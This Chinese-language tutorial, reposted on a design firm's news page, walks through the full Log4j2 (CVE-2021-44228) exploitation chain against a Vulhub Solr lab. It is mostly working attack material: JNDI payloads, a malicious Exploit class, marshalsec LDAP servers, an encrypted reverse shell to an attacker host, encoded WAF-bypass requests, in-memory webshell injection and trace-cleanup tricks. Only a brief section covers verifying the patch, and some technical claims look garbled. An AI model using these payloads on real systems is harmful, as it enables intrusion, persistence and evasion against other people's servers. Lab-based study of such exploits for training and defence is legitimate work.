尧图网站设计 尧图网站设计YAOTU DESIGN
ARTICLE DETAIL

资讯详情

深耕网站设计与一线实操的经验洞察。

从恶意类编译到反弹Shell:Log4j2漏洞利用全流程避坑指南(基于Kali+Vulhub环境)

从恶意类编译到反弹Shell:Log4j2漏洞利用全流程避坑指南(基于Kali+Vulhub环境) 从恶意类编译到反弹ShellLog4j2漏洞利用全流程避坑指南基于KaliVulhub环境在网络安全领域Log4j2漏洞CVE-2021-44228的复现与利用一直是红队培训的核心实践内容。本文将基于Kali Linux与Vulhub靶场环境深入剖析从漏洞检测到反弹Shell的完整链条特别针对Java版本兼容性、LDAP服务配置、多终端协同等实战中容易出错的环节提供解决方案。1. 环境准备与漏洞检测1.1 Vulhub靶场快速部署使用Docker-Compose部署Vulhub环境时常见问题集中在网络配置与端口冲突# 下载并启动Solr服务Log4j2漏洞版本 cd vulhub/log4j/CVE-2021-44228 docker-compose up -d常见报错处理端口8983被占用修改docker-compose.yml中的端口映射如8990:8983镜像拉取失败更换Docker镜像源执行sudo vim /etc/docker/daemon.json添加{ registry-mirrors: [https://docker.mirrors.ustc.edu.cn] }1.2 漏洞验证技巧传统DNSLog检测存在延迟问题推荐使用交互式检测工具# 快速检测脚本示例需替换TARGET_URL import requests payload ${jndi:ldap://${sys:java.version}.yourdnslog.com} response requests.get(http://target:8983/solr/admin/cores?action payload) print(检测请求状态码:, response.status_code)注意实际测试中Java 11环境需额外添加-Dlog4j2.formatMsgNoLookupstrue参数才能触发漏洞2. 恶意类编译与HTTP服务配置2.1 跨版本Java编译方案不同Java环境下的编译差异常导致Exploit.class无法执行Java版本编译命令运行要求1.8javac Exploit.java需匹配目标JVM版本9javac --release 8 Exploit.java保持向后兼容性典型报错处理Unsupported major.minor version 52.0解决方案# 强制指定目标字节码版本 javac -source 1.8 -target 1.8 Exploit.java2.2 高可靠HTTP服务搭建避免Python简单HTTP服务的端口冲突问题# 使用socat实现多端口备用服务 socat TCP-LISTEN:8000,fork,reuseaddr EXEC:python3 -m http.server服务验证技巧# 测试类文件可访问性 curl -I http://your-ip:8000/Exploit.class # 应返回HTTP/1.0 200 OK3. LDAP服务深度配置3.1 Marshalsec高级用法标准LDAP服务启动命令存在单点故障风险建议采用负载均衡# 并行启动多个LDAP监听端口 for port in {1389,1390,1391}; do java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer \ http://your-ip:8000/#Exploit $port done关键参数调优# 增加JVM堆内存防止OOM java -Xmx1024m -jar marshalsec-0.0.3-SNAPSHOT-all.jar ...3.2 内网穿透方案当攻击机处于NAT后时需配置端口转发# 使用ngrok实现LDAP服务外网暴露 ngrok tcp 1389 # 修改payload为${jndi:ldap://ngrok-id.ngrok.io:port/Exploit}4. 多终端协同与Shell稳定化4.1 Tmux分屏操作指南避免多个终端窗口切换导致的误操作# 创建命名会话 tmux new -s log4j_exp # 水平分割窗口Ctrlb % # 垂直分割窗口Ctrlb 窗口功能分配左上方LDAP服务监控右上方NC监听终端下方Burp Suite流量分析4.2 反弹Shell增强方案基础反弹Shell易被中断推荐使用加密通道// 修改Exploit.java中的命令部分 String[] commands { bash, -c, mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 21|openssl s_client \ -quiet -connect your-ip:5555 /tmp/f };稳定性优化技巧# 使用socat接收加密Shell socat OPENSSL-LISTEN:5555,certserver.pem,verify0,fork EXEC:/bin/bash5. 高级绕过与隐蔽利用5.1 Burp Suite辅助注入当直接请求被拦截时可通过Burp Repeater模块构造特殊请求对payload进行双重URL编码添加非常规HTTP头如X-Forwarded-For: 127.0.0.1使用POST方式提交参数示例请求包POST /solr/admin/cores HTTP/1.1 Host: target:8983 Content-Type: application/x-www-form-urlencoded action%24%7B%6A%6E%64%69%3A%6C%64%61%70%3A%2F%2F%79%6F%75%72%2D%69%70%3A%31%33%38%39%2F%45%78%70%6C%6F%69%74%7D5.2 内存马注入技术传统反弹Shell易被察觉可升级为无文件攻击// 修改Exploit.java为内存WebShell注入 public class Exploit { static { try { java.lang.reflect.Method defineClass ClassLoader.class.getDeclaredMethod(defineClass, byte[].class, int.class, int.class); defineClass.setAccessible(true); byte[] shellcode Base64.getDecoder().decode(yv66vgAAADQ...); defineClass.invoke( Thread.currentThread().getContextClassLoader(), shellcode, 0, shellcode.length); } catch (Exception e) { /*...*/ } } }6. 痕迹清理与防御检测6.1 日志混淆技术利用Log4j2的递归解析特性实现日志覆盖// 在Exploit.java中添加日志清理逻辑 String cleanCmd curl http://target:8983/solr/admin/cores? action${${::-${::-$${::-j}}}}ndi:ldap://dummy/; Runtime.getRuntime().exec(new String[]{bash, -c, cleanCmd});6.2 防御方案验证测试环境修复后使用以下命令验证补丁有效性# 检测补丁状态 docker exec -it vulhub-solr /bin/bash -c \ find / -name log4j-core-*.jar -exec grep -l JndiLookup {} \; # 无输出表示补丁生效
返回列表